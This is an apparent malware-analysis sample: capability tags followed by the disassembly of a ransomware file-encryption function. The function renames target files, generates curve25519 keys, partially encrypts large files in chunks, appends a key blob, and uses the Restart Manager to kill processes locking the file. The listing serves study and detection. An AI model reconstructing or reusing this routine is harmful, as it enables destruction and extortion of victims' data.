Function at 0x4097a0
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cc0
call fcn.00413280
mov byte [ebp - 0xc8], 9
xor eax, eax
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xb7], eax
mov dword [ebp - 0xb3], eax
mov dword [ebp - 0xaf], eax
mov word [ebp - 0xab], ax
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x6c], 1
mov ecx, 0x6420676e
mov dword [ebp - 0x130], 0x756f6863
mov dword [ebp - 0x12c], ecx
mov edx, 0x6b6f6f6c
mov dword [ebp - 0x128], 0x20676e6f
mov dword [ebp - 0x124], edx
mov eax, 0x6820656b
mov dword [ebp - 0x120], 0x696c2073
mov dword [ebp - 0x11c], eax
mov ecx, 0x2121676f
mov dword [ebp - 0x118], 0x6420746f
mov dword [ebp - 0x114], ecx
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 0xe]
push ecx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40a32f
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403a64
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40a287
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x409dca
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.00412ec0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409dbb
lea ecx, [ebp - 0xf0]
push ecx
push 0x20
mov edx, dword [0x414260]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ebp + ecx - 0xf0]
and edx, 0xf8
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xf0], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
and ecx, 0x7f
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0xf0], cl
mov ecx, 1
imul edx, ecx, 0x1f
movzx eax, byte [ebp + edx - 0xf0]
or eax, 0x40
mov ecx, 1
imul edx, ecx, 0x1f
mov byte [ebp + edx - 0xf0], al
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x158]
push edx
call fcn.00404ea0
add esp, 0xc
push 0x4141b8
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.00404ea0
add esp, 0xc
lea edx, [ebp - 0x198]
push edx
push 0x20
lea eax, [ebp - 0x110]
push eax
call fcn.00410b10
add esp, 0xc
push 0x100
push 0x100
lea ecx, [ebp - 0x198]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call fcn.0040feb0
add esp, 0x10
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.0040ff40
add esp, 8
push 0x40
lea edx, [ebp - 0x198]
push edx
call fcn.004105b0
add esp, 8
mov dword [ebp - 0x138], eax
push 0x40
push 0
mov eax, 4
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x224]
push edx
call fcn.00412e50
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x198]
push eax
call fcn.00412e50
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x110]
push ecx
call fcn.00412e50
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x20], 0
jl 0x409b8b
jg 0x409a96
cmp dword [ebp - 0x24], 0x1400000
jbe 0x409b8b
push 0
push 0xa00000
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.004131d0
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
jmp 0x409ad2
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov edx, dword [ebp - 0x50]
adc edx, 0
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x94]
jg 0x409b86
jl 0x409af2
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x98]
jae 0x409b86
push 0
lea edx, [ebp - 0x28]
push edx
push 0x100000
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004102a0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
add eax, 0xa00000
mov ecx, dword [ebp - 0x10]
adc ecx, 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409ac0
jmp 0x409d62
cmp dword [ebp - 0x20], 0
jl 0x409c8f
jg 0x409ba4
cmp dword [ebp - 0x24], 0x500000
jbe 0x409c8f
push 0
push 3
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.004131d0
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
jmp 0x409bdd
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov edx, dword [ebp - 0x58]
adc edx, 0
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x58], 0
jg 0x409c8a
jl 0x409bf3
cmp dword [ebp - 0x5c], 3
jae 0x409c8a
push 0
lea eax, [ebp - 0x28]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.004102a0
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x10]
adc eax, dword [ebp - 0x9c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409bcb
jmp 0x409d62
cmp dword [ebp - 0x20], 0
jl 0x409d62
jg 0x409ca5
cmp dword [ebp - 0x24], 0
jbe 0x409d62
cmp dword [ebp - 0x20], 0
jl 0x409cd2
jg 0x409cb3
cmp dword [ebp - 0x24], 0x40
jbe 0x409cd2
push 0
push 0xa
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.004131d0
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
jmp 0x409ce4
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], eax
push 0
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
lea edx, [ebp - 0x12a8]
push edx
push 0
call fcn.004102a0
add esp, 0x14
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
push 0
lea ecx, [ebp - 0x12a8]
push ecx
call fcn.00412e50
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x30]
push edx
push 0x48
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
push edx
call fcn.00412ef0
add esp, 4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a282
cmp dword [ebp - 0x6c], 0
je 0x40a1f3
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea ecx, [ebp - 0x1dc]
push ecx
call fcn.00412e50
add esp, 0xc
lea edx, [ebp - 0x1dc]
push edx
push 0
lea eax, [ebp - 0x40]
push eax
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x409e0d
mov dword [ebp - 0x7c], 1
jmp 0x409e14
mov dword [ebp - 0x7c], 0
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a166
push 0
push 0
push 0
push 0
lea edx, [ebp + 8]
push edx
push 1
mov eax, dword [ebp - 0x40]
push eax
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x409e48
mov dword [ebp - 0x80], 1
jmp 0x409e4f
mov dword [ebp - 0x80], 0
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a0c4
mov dword [ebp - 0x88], 0xa
lea edx, [ebp - 0xd0]
push edx
lea eax, [ebp - 0x2cc0]
push eax
lea ecx, [ebp - 0x88]
push ecx
lea edx, [ebp - 0xcc]
push edx
mov eax, dword [ebp - 0x40]
push eax
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x409e9e
mov dword [ebp - 0x84], 1
jmp 0x409ea8
mov dword [ebp - 0x84], 0
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x40a037
mov dword [ebp - 0xc], 0
jmp 0x409ecd
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x88]
jae 0x40a032
imul ecx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + ecx - 0x2a34], 4
je 0x40a02d
imul edx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + edx - 0x2a34], 0x3e8
je 0x40a02d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul ecx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + ecx - 0x2cc0]
je 0x40a02d
imul edx, dword [ebp - 0xc], 0x29c
mov eax, dword [ebp + edx - 0x2cc0]
push eax
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409f72
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a02d
cmp dword [0x41425c], 0
je 0x40a02d
push 0
push 0
push 0
push 0
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2cb4]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [ebp - 0x34]
push eax
push 0x403a74
call fcn.00404d50
add esp, 0xc
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.00412ef0
add esp, 4
jmp 0x409ec4
jmp 0x40a0bf
cmp dword [0x41425c], 0
je 0x40a0bf
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
push 0x403a88
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x38]
push edx
call fcn.00412ef0
add esp, 4
jmp 0x40a14c
cmp dword [0x41425c], 0
je 0x40a14c
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
push 0x403a98
call fcn.00404d50
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00412ef0
add esp, 4
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x6c], 0
jmp 0x4098b0
cmp dword [0x41425c], 0
je 0x40a1ee
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x44], eax
push 0
push 0
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
push 0x403ab4
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x44]
push edx
call fcn.00412ef0
add esp, 4
jmp 0x40a282
cmp dword [0x41425c], 0
je 0x40a282
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x74]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x48], eax
push 0
push 0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
push 0x403acc
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x48]
push edx
call fcn.00412ef0
add esp, 4
jmp 0x40a316
cmp dword [0x41425c], 0
je 0x40a316
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x78]
push edx
call fcn.00412ec0
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
push 0x403af0
call fcn.00404d50
add esp, 0xc
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00412ef0
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x40a32f
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00412ef0
add esp, 4
mov dword [ebp - 0x1c], 0
mov esp, ebp
pop ebp
ret